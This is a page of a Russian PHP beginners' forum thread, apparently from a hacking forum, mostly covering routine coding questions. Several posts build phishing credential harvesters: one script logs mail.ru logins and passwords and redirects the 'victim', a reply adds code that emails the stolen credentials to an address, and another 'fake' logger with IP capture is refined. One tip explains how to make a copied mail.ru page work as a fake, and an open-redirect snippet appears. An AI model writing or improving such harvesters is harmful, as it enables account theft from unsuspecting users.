PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 [55] 56 57 58 59 60 61 62 63 64 65 66

azote
22.11.2009, 02:00
помогите. нужна функция которая будет обрабатывать строку, и через определённое колличество слов(символов) будет вставлять в эту строку некоторый текст. Как такое реализовать?

azote
22.11.2009, 02:19
стоило только порыскать по учебнику...
вот то что нужно wordwrap();

CrazyStudentS_Mi}{
22.11.2009, 03:27
как заархивировать папку со всеми вложениями и подпапками?

rushter
22.11.2009, 03:42
system("tar -cf archive.tar /somedir/");
либо
http://php.net/manual/en/book.zip.php
http://php.russofile.ru/ru/authors/unsort/zip/

CrazyStudentS_Mi}{
22.11.2009, 03:59
system("tar -cf archive.tar /somedir/");
либо
http://php.net/manual/en/book.zip.php
http://php.russofile.ru/ru/authors/unsort/zip/

надо на виндах

rushter
22.11.2009, 04:03
тогда 2 линк

[Dead]Demon
22.11.2009, 10:43
Вроде всё норма,только где-то ошибка
Код HTML


<html>
<head>
<title>Image</title>
</head>
<body>
<?
$dirName = "c:\my\mm";
$dp = opendir($dirName);
chdir($dirName);
while ($currentFile !== false) {
$currentFile = readDir($dp);
$theFiles[] = $currentFile;
}
$imageFiles = preg_grep ("/jpg$|gif$/",$theFiles);
$output = " ";
foreach ($imageFiles as $currentFile) {
$output = <<<HERE
<a href = $currentFile>
<img src = "currentFile"
height = 50
width = 50>
</a>
}
$fp = fopen("imageIndex.html","w");
fputs ($fp, $output);
fclose($fp);
print "<a href = $dirName/imageIndex.html>image</a> \n";
?>
</body>
</html>

где ошибка?

MafyO_o
22.11.2009, 13:17
напишите пл3 простейший пхп ридерект!
пример когда я пишу site.ru/go.php?http://site2.ru/ переходыло на сайт http://site2.ru/

[Dead]Demon
22.11.2009, 13:20
Demon']Вроде всё норма,только где-то ошибка
Код HTML


<html>
<head>
<title>Image</title>
</head>
<body>
<?
$dirName = "c:\my\mm";
$dp = opendir($dirName);
chdir($dirName);
while ($currentFile !== false) {
$currentFile = readDir($dp);
$theFiles[] = $currentFile;
}
$imageFiles = preg_grep ("/jpg$|gif$/",$theFiles);
$output = " ";
foreach ($imageFiles as $currentFile) {
$output = <<<HERE
<a href = $currentFile>
<img src = "currentFile"
height = 50
width = 50>
</a>
}
$fp = fopen("imageIndex.html","w");
fputs ($fp, $output);
fclose($fp);
print "<a href = $dirName/imageIndex.html>image</a> \n";
?>
</body>
</html>

где ошибка?
ну что никто не поможет? :o

Kusto
22.11.2009, 13:26
Demon']ну что никто не поможет? :o
еслиб работал с подсветкой тоб заметил бы что строке foreach ($imageFiles as $currentFile) { нет закрывающей скобки "}" вернее ее скрипт не видет в $output

у тебя отсутствует закрытие heredoc-текста

[Dead]Demon
22.11.2009, 13:30
ой))
спасибо =)

Root-access
22.11.2009, 13:40
напишите пл3 простейший пхп ридерект!
пример когда я пишу site.ru/go.php?http://site2.ru/ переходыло на сайт http://site2.ru/

<?php
header('Location: '.$_SERVER['QUERY_STRING']);
?>

geforse
22.11.2009, 16:23
Как правильно заставить работать cURL через прокси с поддержкой SSL ?

*Нужно зайти на https:// страницу через прокси (не сокс)

Pashkela
22.11.2009, 17:47
<?php
set_time_limit(0);
$url = "https://hashcracking.info/index.php?4";
$ref = "https://hashcracking.info/index.php";
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$res = curl_exec($ch);
preg_match_all('#[0-9a-f]{32}#i', $res, $matches);
print_r($matches);
?>


как с прокси хз

amBX
22.11.2009, 19:48
Ребята скажите можно сделать закрытый доступ на страницу по Браузеру? т.е. эсть один нехороший человек который любит заходить на одну страничку пользуясь проксями, но заходит постоянно с одного браузера, чем и палится вот его браузер "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0" можно поставить запрет такой?

rushter
22.11.2009, 19:52
if($_SERVER["HTTP_USER_AGENT"]=="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0")
die();

amBX
22.11.2009, 20:05
rushter, спасибо. Помогло вроде как.

Luck3r
22.11.2009, 20:42
Как правильно заставить работать cURL через прокси с поддержкой SSL ?

*Нужно зайти на https:// страницу через прокси (не сокс)
curl_setopt($curl, CURLOPT_PROXY, "ssl://xxx.xxx.xxx.xxx");
Но не факт что сработает.

geforce
22.11.2009, 21:56
Подскажите где есть нормальная понятная ИНФА про CURL и $_SERVER?????

Root-access
22.11.2009, 22:08
Подскажите где есть нормальная понятная ИНФА про CURL и $_SERVER?????

Гениальный вопрос. Главное было жирным написать.

Ответ:
http://php.net/manual/en/book.curl.php
http://php.net/manual/en/reserved.variables.server.php

P.S. Найдено в общей сложности за 0.37 секунд.

geforce
22.11.2009, 22:31
Гениальный вопрос. Главное было жирным написать.

Ответ:
http://php.net/manual/en/book.curl.php
http://php.net/manual/en/reserved.variables.server.php

P.S. Найдено в общей сложности за 0.37 секунд.


Php.net ясное дело! А я просил понятное не замудрёное! Чтоб легко читалось!

m0Hze
22.11.2009, 22:44
Php.net ясное дело! А я просил понятное не замудрёное! Чтоб легко читалось!
Все там читается отлично,сам учился по этим мануалам.

Root-access
22.11.2009, 22:53
Php.net ясное дело! А я просил понятное не замудрёное! Чтоб легко читалось!


Если ты считаешь, что это непонятно и замудрено, то программирование - явно не для тебя.

Luck3r
22.11.2009, 23:32
Php.net ясное дело! А я просил понятное не замудрёное! Чтоб легко читалось!
http://www.google.ru/search?q=%D1%88%D0%BA%D0%BE%D0%BB%D1%8C%D0%BD%D1%8 B%D0%B9+%D0%BA%D1%83%D1%80%D1%81+%D0%B8%D0%BD%D1%8 4%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B8

geforce
23.11.2009, 01:47
1 Как с помощью PHP обнулить в базе id auto_increment ???
2 Есть такой код защиты админки:

if (!isset($_SERVER['PHP_AUTH_USER']))

{
Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}

else {
if (!get_magic_quotes_gpc()) {
$_SERVER['PHP_AUTH_USER'] = mysql_escape_string($_SERVER['PHP_AUTH_USER']);
$_SERVER['PHP_AUTH_PW'] = mysql_escape_string($_SERVER['PHP_AUTH_PW']);
}

$query = "SELECT pass FROM users WHERE user='".$_SERVER['PHP_AUTH_USER']."'";
$lst = @mysql_query($query);

if (!$lst)
{
Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}

if (mysql_num_rows($lst) == 0)
{
Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}

$pass = @mysql_fetch_array($lst);
if ($_SERVER['PHP_AUTH_PW']!= $pass['pass'])
{
Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}


}

Всё работает! только есть один минус! админка функционирует пока не закрыть браузер! Как мне сделать кнопку которая закрывает сесию (Выход)???

DiHWO
23.11.2009, 10:27
..............
if (empty($login))
{
echo('<div align=center><h3>Введите, пожалуйста, логин.</h3></div>')
}
if (empty($pass))
{
echo('<div align=center><h3><br><br>Введите, пожалуйста, пароль.</h3></div>')
}
...............

Вот часть кода которая ненравиться апачу, что делать? как уже я не переделывал ее, нифига, то одну ошибку, то другую.
Ставлю ";", он ошибку пишет, не ставлю другую ошибку....убирал уже и скобки фигурные....

DiHWO
23.11.2009, 10:31
geforce, пробовал кнопку с онкликом который ведет к скрипту, который делетит сессию?

krypt3r
23.11.2009, 10:57
Вот часть кода которая ненравиться апачу

Ошибку озвучьте. Без точек с запятой вы получите Parse error
geforce, пробовал кнопку с онкликом который ведет к скрипту, который делетит сессию?
Где ж там в коде сессии? =)

geforce, вам наводку дали - при успешной авторизации юзайте сессии

DiHWO
23.11.2009, 11:12
Где ж там в коде сессии? =)>>>
ну дык, пускай ставит сам, я ж не говорил что они там есть.
Блииин, как же я тупанул....я не ";" ставил а ":". :o

xofffff
23.11.2009, 13:36
Есть скрипт сохранение данных в файл base.php вот он:
<?PHP
$Login = $_POST['Login']; // Читаем логин
$Domain = $_POST['Domain']; // Домен
$Pass = $_POST['password']; // Пароль
$Data = date("d-m-y H:i:s", time()); // Дата и время

// Записываем полученные данные
$text = "Дата:[$Data] Логин:$Login Пароль:$Pass";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://win.mail.ru/cgi-bin/msglist');
// Переводим жертву на
// указанный адрес
?>

Вопрос: Как сделать что бы еще приходило на email эти же данные?

svesve
23.11.2009, 13:47
Есть скрипт сохранение данных в файл base.php вот он:
Вопрос: Как сделать что бы еще приходило на email эти же данные?

<?PHP
$Login = $_POST['Login']; // Читаем логин
$Domain = $_POST['Domain']; // Домен
$Pass = $_POST['password']; // Пароль
$Data = date("d-m-y H:i:s", time()); // Дата и время

$mail="your@mail.ru";
$subj="Пароли и т.д.";

// Записываем полученные данные
$text = "Дата:[$Data] Логин:$Login Пароль:$Pass";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем


mail($mail,$subj,$text);

header('Location: http://win.mail.ru/cgi-bin/msglist');
// Переводим жертву на
// указанный адрес
?>

xofffff
23.11.2009, 14:02
<?PHP
$Login = $_POST['Login']; // Читаем логин
$Domain = $_POST['Domain']; // Домен
$Pass = $_POST['password']; // Пароль
$Data = date("d-m-y H:i:s", time()); // Дата и время

$mail="your@mail.ru";
$subj="Пароли и т.д.";

// Записываем полученные данные
$text = "Дата:[$Data] Логин:$Login Пароль:$Pass";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем


mail($mail,$subj,$text);

header('Location: http://win.mail.ru/cgi-bin/msglist');
// Переводим жертву на
// указанный адрес
?>
Благодарен :)

а что это ? $subj="Пароли и т.д.";

krypt3r
23.11.2009, 14:11
Тема письма

amBX
23.11.2009, 18:12
Вопрос по фейку. Вот есть простой скрипт фейка
<?PHP
$date=date("[d/m/Y|H:i]");
$ip = @$_SERVER['REMOTE_ADDR'];
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$c = "$date | [$ip]
$Login;$Pass";
$fp = fopen("log.html","a+");
fwrite($fp,"\n$c\n");
fclose($fp);
?>
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.

Deathdreams
23.11.2009, 18:53
amBX
Следуя Вашему скрипту, логи будут записываться так:

Лог

Лог

Лог

Лог

@fwrite($fp, $c."\r\n");

Pashkela
23.11.2009, 18:58
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.

Просто придти к тому, что на данном этапе пора уже начинать юзать БД и не маяца херней с файлами. Решение есть, но он не есть оптимальное. С файлами надо делать лишь простейшие операции, когда дело доходит до сортировок и выборок всяческих - короче БД не просто так придумали ради красоты и понтов

PS: Если таки хочется - берешь весь файл в массив и сортируешь в обратном порядке, затем выводишь первые 40 записей

работа с массивами здесь очень подробно и с примерами расписана:

http://www.php.ru/manual/ref.array.html

L I G A
23.11.2009, 19:23
$file=file("log.html");
$count=count($file);
for($i=$count;$i>=(($count)-40);$i--){
$log.=$file[$i]."\r\n";
}

Luck3r
23.11.2009, 19:40
$file=file("log.html");
$count=count($file);
for($i=$count;$i>=(($count)-40);$i--){
$log.=$file[$i]."\r\n";
}
Извращение. Лучше через бд. Там элементарно.

L I G A
23.11.2009, 19:43
Извращение. Лучше через бд. Там элементарно.
о БД речи не было

amBX
23.11.2009, 19:47
Да знаю что без БД ни куда((( Буду пробывать, учить.

У меня есть новый вопрос =) Нашел скрипт точного времени, но время отображается на 3 часа позже чем в моём городе, можно это исправить? (Время по хостингу ставить не хочу, т.к. там кривое время с разницой в 15-17 мин)

<?php
function sinctimestamp($host) {

if (!$fp = fsockopen($host,13,$errno,$errstr,1)) return false;

$s = strtotime(fgets($fp));

fclose($fp);

return $s;

}

$tocnoje_vrema = date('d-m-Y H:i:s', sinctimestamp('ntp.colocall.net'));

echo $tocnoje_vrema;
?>

KaZ@NoVa
23.11.2009, 20:48
прикол в том что у нас часовой пояс GMT +3. что означает что разница по времени между нами и нулевым меридианом ровно три часа. а скрипт ориентируется именно на мировое время)

amBX
23.11.2009, 21:00
А есть скрипт который бы показывал GMT +5 ?

ЗЫ: Не простой скрипт который показывает какое время в компе такое и странице, а именно точное.

KaZ@NoVa
23.11.2009, 21:05
Попробуй просто прибавлять к текущему времени значение 5-и часов=)
не помню в чём измеряется, но это поможет.

ggi
23.11.2009, 21:14
Вопрос по фейку. Вот есть простой скрипт фейка
<?PHP
$date=date("[d/m/Y|H:i]");
$ip = @$_SERVER['REMOTE_ADDR'];
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$c = "$date | [$ip]
$Login;$Pass";
$fp = fopen("log.html","a+");
fwrite($fp,"\n$c\n");
fclose($fp);
?>
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
<?PHP
$date=date("[d/m/Y|H:i]");
$ip = @$_SERVER['REMOTE_ADDR'];
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$c = "$date | [$ip]
$Login;$Pass";
$fp = fopen("log.html","a+");
fwrite($fp,"\n$c\n");
fclose($fp);
system("tail -40 log.html >> log.html");
?>это если сервер на *nix-сервере
первое что в голову пришло

geforse
23.11.2009, 21:18
function post($url,$proxy,$proxy_type)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYTYPE, $proxy_type);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$result = curl_exec($ch);
return $result;
}

post('site.ru','ip:port','CURLPROXY_SOCKS5');


Не работает :(
Как cURL'у передать какой вид сокса мне нужен ?

geforce
23.11.2009, 21:38
Как с помощью PHP обнулить в базе id auto_increment ???

ggi
23.11.2009, 21:39
курл вроде только с сокс5 и HTTP работает
CURLOPT_PROXYTYPE Either CURLPROXY_HTTP (default) or CURLPROXY_SOCKS5

Luck3r
23.11.2009, 21:56
function post($url,$proxy,$proxy_type)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYTYPE, $proxy_type);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$result = curl_exec($ch);
return $result;
}

post('site.ru','ip:port','CURLPROXY_SOCKS5');


Не работает :(
Как cURL'у передать какой вид сокса мне нужен ?
CURLPROXY_SOCKS5 - это константа. А ты передаешь строку.
post('site.ru','ip:port', CURLPROXY_SOCKS5);

KaZ@NoVa
23.11.2009, 22:04
Как с помощью PHP обнулить в базе id auto_increment ???
обнулить? попробуй прямой запрос к СКЛ..

ggi
23.11.2009, 22:05
CURLPROXY_SOCKS5 - это константа. А ты передаешь строку.
post('site.ru','ip:port', CURLPROXY_SOCKS5);
а есть разница?<?php echo CURLPROXY_SOCKS5 . PHP_EOL;?>

geforce
23.11.2009, 22:46
обнулить? попробуй прямой запрос к СКЛ..

А какой запрос для этого нужен чтоб обнулить? :confused:

Luck3r
23.11.2009, 22:48
а есть разница?
Есть.
Входная переменная должна быть типа long.
А какой запрос для этого нужен чтоб обнулить? :confused:
Если MySQL - блин не так прочитал. Юзай:
ALTER TABLE tablename AUTO_INCREMENT = 1

krypt3r
23.11.2009, 22:51
А какой запрос для этого нужен чтоб обнулить?

Среди программистов это действие не приветствуется. Более того, они относятся к нему отрицательно. Если это вам так нужно, поищите в соответствующей теме либо на сайте mysql.ru

geforce
24.11.2009, 00:24
А какой запрос для этого нужен чтоб обнулить?

Среди программистов это действие не приветствуется. Более того, они относятся к нему отрицательно. Если это вам так нужно, поищите в соответствующей теме либо на сайте mysql.ru

Спасибо проблема решена ;)

xofffff
24.11.2009, 12:55
del
Вопрос сам решил

Если кому надо то
если копировать страницу mail.ru и делать фейк отключите скрипт https000.js или что то в этом роде

VladZombie
24.11.2009, 14:49
Как сделать форму и обработчик в одном файле? пробовал содержимое обработчика вставить вместе с формой но он при заходе на страницу сразу же обрабатывает и записывает ((

m0Hze
24.11.2009, 14:52
<?php
if(isset($var) || !empty($var)){...запись там....}
?>
forma

b3
24.11.2009, 15:16
VladZombie
Вот писал на днях на скорую руку, но вроде ошибок нет, писал как пример для друга.
m0Hze
Ну ты конечно и пример дал, лучше ничего не писать чем такое ляпнуть)))


<?php
include 'mysql.php';

if( empty($_POST['login']) || empty($_POST['passwd']) || empty($_POST['email']) || empty($_POST['passwd2']))
{
Form();
exit;
}


/* Filter LOGIN */
if(empty($_POST['login']) || strlen($_POST['login']) < 3 || strlen($_POST['login']) > 20 )
{
Form('Введите Логин, минимум 3 символа, максимум 20');
exit;
}
if(!preg_match('#^[a-z0-9]{3,20}$#i',$_POST['login']))
{
form('НЕверный формат логина []');
exit;
}



$_POST['login'] = addslashes($_POST['login']);


/* Filter PASSWD */
if(empty($_POST['passwd']))
{
Form('Введите пароль');
exit;
}
if($_POST['passwd'] != $_POST['passwd2'])
{
Form('Пароли не совпадают!');
exit;
}
if(strlen($_POST['passwd'] < 6))
{
Form('Пароль слишком короткий, минимум 6 символов!');
exit;
}
$_POST['passwd'] = md5(addslashes($_POST['passwd']));


/* Filter EMAIL */
if(empty($_POST['email']))
{
Form('Введите Имейл');
exit;
}
if(strlen(filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) <= 0)
{
Form('Неправильный формат Имейла!');
exit;
}
$_POST['email'] = addslashes($_POST['email']);


$sql = "SELECT * FROM `users` WHERE login='$_POST[login]'";
$DB = new db;
$DB->connect('root','','socnet');
$result = $DB->query($sql);

if( $DB->num_rows($result) > 0)
{
echo 'Юзвер <b>'.$_POST['login'].'</b> уже есть в БД, бля';
exit;
}
else
{
$sql = "INSERT INTO users (`id`, `login`, `password`, `email`) VALUES (NULL, '$_POST[login]', '$_POST[passwd]', '$_POST[email]');";
$result = $DB->query($sql);
if (!$result) {
die('Invalid query: ' . mysql_error());
} else {
echo "$_POST[login] - Удачно зарегестрирован!";
}

}


function Form($msg='Registration:')
{
echo <<<HTML

<table align="center" border="1">
<form method="post" enctype="application/x-www-form-urlencoded">
<tr>
<td colspan="2"><b>$msg</b></td>

</tr>
<tr>
<td>Login ( => 3) :</td>
<td><input type="text" align="CENTER" size="30" maxlength="30" name="login"></td>
</tr>
<tr>
<td>Email:</td>
<td><input type="text" align="CENTER" size="30" maxlength="30" name="email"></td>
</tr>
<tr>
<td>Passwd:</td>
<td><input type="password" align="CENTER" size="30" maxlength="30" name="passwd"></td>
</tr>
<tr>
<td>Re-passwd:</td>
<td><input type="password" align="CENTER" size="30" maxlength="30" name="passwd2"></td>
</tr>
<tr>

<td colspan="2" align="center"><input type="submit" value="Register"></td>
</tr>
</form>
</table>

HTML;
}

?>

SeNaP
24.11.2009, 19:30
Как бы есть фильтрация SQl-inj, нельзя передать число меньше 0 , но вот как зделать если у меня в БД 4 записи, и переменная ID = 1000(допустим) то у меня просто тупо белый экран.
Как составить запрос, если у меня например 4 записи в БД, я передаю переменной id значение 1000, если в БД нет такой записи, естественно выдаем ошибку?


if (isset($_GET['id']))
{
$idp = (int)$_GET['id'];
if ($idp <= '0') {
echo "Произошла ошибка!";
}
}
$sql1 = mysql_query("SELECT * FROM `tetom` where `id`=".$idp."");
}

ANTIHАCK
24.11.2009, 20:03
Разобрался, отбой.*

DeluxeS
24.11.2009, 20:14
Щас учусь делать авторизацию, объясню на скрипте что не понятно:

Вот форма для ввода логина и пароля, находится на index.php


<form method="post" action="login.php">
<div align="center" >
<div align="center">Логин:
<input name="login" type="text" style="margin-bottom:3px;" size="17" />
Пароль:
<input name="password" type="password" size="17" />
<input type="submit" name="Submit" value="Войти" />
</div>
</div>
</form>



Тут понятно action="login.php" передает все мои данные в login.php и там понятно, сравниваю ит.д.


А как сделать что бы не передавать в login.php а выполнить скрипт прям на этой страницы index.php... Что нужно в action="" написать, и как присвоить логин и пароль переменным... Тут же наверно не $login = $_POST["login"]
Проверяешь isset'om переменные вот так:

<?php
if(isset($_POST["login"])) and isset($_POST["password"])) {
..//сравниваешь логин & password
}
else
{
//тут форма html ( <form action=..... )
}

В action вставялешь имя скрипта , или можешь <?=getenv("SCRIPT_NAME");?>

geforce
24.11.2009, 21:06
есть форма:

<form id="form">
<center><h3>Добавление фирмы</h3></center>

<p><label>Название фирмы:</label><br><input type="text"/><br>
<p><label>Телефон:</label><br><input type="text"/><br>
<p><label>E-Mail:</label><br><input type="text"/>
<br/>
</p>
<p>Категория:<br />
<select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent',this,0)">
<option>категории</option>
</select>
<br>
<br>
<label>Описание:</label>
<br>
<textarea name="text" cols="50" rows="4" wrap="virtual"></textarea>
<br>
<a href="end.php" class="lbAction" rel="insert"><button>Добавить</button>
</a>
<a href="#" class="lbAction" rel="deactivate"><button>Отменить</button>
</a>
</p>

</form>

как передовать переменые в таком виде формы?

phpdreamer
24.11.2009, 22:40
есть 2 варианта:
1)это неправильный код (он не предусматревает отправку файлов на сервер)
2)это не полный код(дополнить обращением к id из джаваскрипта - затрудняюсь, а к пхп отношения не имеет)

ЗЫ надеюсь это не проблемы с HTML

geforce
25.11.2009, 00:53
есть 2 варианта:
1)это неправильный код (он не предусматревает отправку файлов на сервер)
2)это не полный код(дополнить обращением к id из джаваскрипта - затрудняюсь, а к пхп отношения не имеет)

ЗЫ надеюсь это не проблемы с HTML

Мне не надо передовать файлы на сервер! Мне нужно передать заначения ячеек в форме в php скрипт для обработки но только вот форма не обычная:

<div align="center">
<form id="form">
<center><h3>Добавление фирмы</h3></center>

<p><label>Название фирмы:</label><br><input type="text" name="title"/><br>
<p><label>Телефон:</label><br><input type="text" name="tel"/><br>
<p><label>E-Mail:</label><br><input type="text" name="mail"/>
<br/>
</p>
<p>Категория:<br />
<select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent',this,0)">
<option>категории</option>
</select>
<br>
<br>
<label>Описание:</label>
<br>
<textarea name="text" cols="50" rows="4" wrap="virtual"></textarea>
<br>
<a href="end.php" class="lbAction" rel="insert"><button>Добавить</button>
</a>
<a href="#" class="lbAction" rel="deactivate"><button>Отменить</button>
</a>
</p>

</form>
</div>

Как мне это зделать???

KrafT
25.11.2009, 00:55
как зделать проверку есле на страницэ найдено $id=1 to $zapisj=fopen("F:\....\mailru.txt","a+"); fwrite($zapisj, "$a[0]:$a[1]\r\n"); ? а есле 0идс фаунд то неделает запись.

Doger
25.11.2009, 02:54
Хелп!

Есть ссылка вида _http://site.ru/?a=123&lol=1

от скрипта требуется автоматом посетить
http://site.ru/?a=1&lol=1
http://site.ru/?a=2&lol=1
http://site.ru/?a=3&lol=1

и так от 1 до 100000

Заранее спасибо! С меня пиво и женщины! ;)

Insane bboy
25.11.2009, 05:27
function curl($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
url_exec($ch);
curl_close($ch);
}
for($a = 1; $a < 100000; $a++) curl("http://site.ru/?a=$a&lol=1");

Insane bboy
25.11.2009, 05:47
как зделать проверку есле на страницэ найдено $id=1 to PHP код: $zapisj=fopen("F:\....\mailru.txt","a+"); fwrite($zapisj, "$a[0]:$a[1]\r\n"); ? а есле 0идс фаунд то неделает запись.

вопрос не совсем понял, то есть надо на странице найти фразу $id=1? о0
ну тогда так:

if(strpos($result, '$id=1') !== false) // где $result страница на которой искать $id=1
{
$zapisj=fopen("F:\....\mailru.txt","a+");
fwrite($zapisj, "$a[0]:$a[1]\r\n");
}

phpdreamer
25.11.2009, 08:45
geforce, это описка
я имел ввиду данные

почему не сделать форму "обычной?"
ну или тогда передавать данные через AJAX

KaZ@NoVa
25.11.2009, 09:37
Как бы есть фильтрация SQl-inj, нельзя передать число меньше 0 , но вот как зделать если у меня в БД 4 записи, и переменная ID = 1000(допустим) то у меня просто тупо белый экран.
Как составить запрос, если у меня например 4 записи в БД, я передаю переменной id значение 1000, если в БД нет такой записи, естественно выдаем ошибку?


if (isset($_GET['id']))
{
$idp = (int)$_GET['id'];
if ($idp <= '0') {
echo "Произошла ошибка!";
}
}
$sql1 = mysql_query("SELECT * FROM `tetom` where `id`=".$idp."");
}



В этом коде нет обработки нулевого ID, btw

Код этот я бы переписал так:

if(isset($_GET['id']))
{
$idp = intval($_GET['id']);
if($idp < 1) echo 'Error: incorrcect ID';
$q = mysql_query("SELECT * FROM `tetom` WHERE `id` = $id");
# насколько я понял, то вот так:
if(!mysql_num_rows($q)) echo 'No match records';
}

ZEXEL
25.11.2009, 17:26
Подскажите как преобразововать такое !
$a = "Hello World";
$b = "Google G1";

Как получить на выходе такое:
$c = "/Hello_World/Google_G1/"

Тоисть в начале и в конце /, а там где пробелы ставить _

svesve
25.11.2009, 17:37
Подскажите как преобразововать такое !
$a = "Hello World";
$b = "Google G1";

Как получить на выходе такое:
$c = "/Hello_World/Google_G1/"

Тоисть в начале и в конце /, а там где пробелы ставить _


$a=str_replace(" ","_",$a);
$b=str_replace(" ","_",$b);

$c="/".$a."/".$b."/";

echo $c;

superboy4
25.11.2009, 18:32
В таблице есть поле средний рейтинг (average_rating), поле это типа Целое число.
Необходимо заполнить звёздочки рейтинга! Всего у меня 5 звёзд.
Например поле средний рейтинг,ассоциирующееся с идентификатором 129 содержит число 3. Нужно соответсвено заполнить 3 звёздочки из 5, 3 будут золотыми, а 2 другие серыми.

ps: сам рейтинг я уже реализовал, теперь нужно по работать с интерактивностью, то есть правильно заполнять звёздочки в соответсвие со средним рейтингом.

KrafT
25.11.2009, 18:45
if ($r_count=="1")
{
echo "Soxronajem";
file_put_contents($accs_file.'.eee.txt', "{$a[0]}:{$a[1]}");
}

как зделать чтоб он вписэвал так...
akk:password
akk:password
akk:password
а то он поверху записевает =[

VDShark
25.11.2009, 19:04
KrafT file_put_contents по умолчанию перезаписывает содержимое файла.
Выходы:
1) юзать ф-ции fopen(), fwrite() и тп
2) установить флаг FILE_APPEND

msi02
25.11.2009, 22:50
Да ребята интерестно конечно пишут, но я видел статью об этом факте по подробнее на http://forum.gold-reg.ru/

Не верите заходите и посмотрите сами!
Извините если что не так!

Adekvatnyj
26.11.2009, 01:04
2 вопроса:
1. не по теме, расскажите мне о запросах, чем их делать, структуру запроса знаю, интересует откуда берется ID сессии, и content lenght
2. Дайте мануалы с курлом, и как собственно отправить 2 запроса подряд, post и get , и проверить есть ли в гет аттач?

TDKronuS
26.11.2009, 01:26
В Гет аттач быть не может.

Adekvatnyj
26.11.2009, 10:57
$post = "password=".$pass."";
$ref = "http://www.".$hostname."/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, '$path');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
curl_setopt($ch, CURLOPT_REFERER,$ref);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
curl_setopt($ch, CURLOPT_TIMEOUT,30);
curl_setopt($ch , CURLOPT_VERBOSE , 1 );
curl_setopt($ch , CURLOPT_HEADER , 1 );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;что может быть проблемой, ничего не выводит, адрес http://slil.ru/28255566 (к примеру).
Кто знает в чем проблема стукните в аську 495399.
И какая опция проверяет или есть закачка файла?

geforce
26.11.2009, 11:19
Помогите пожалуйста!
Вопрос здесь! (http://forum.antichat.ru/showpost.php?p=1712841&postcount=13572)

hackmen
26.11.2009, 15:47
Всем привет. Столкнулся с такой проблемой.
Есть файл index.php.

В самое начало файла вставляю строчку
?><? include "/home/sites/******/public_html/htdocs/temp.php"; ?><?

При открытии сайта пишет:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/sites/******/public_html/index.php(1) : eval()'d code on line 1

Parse error: syntax error, unexpected $end in /home/sites/******/public_html/index.php(1) : eval()'d code on line 1

И продолжает дальше грузить страницу.

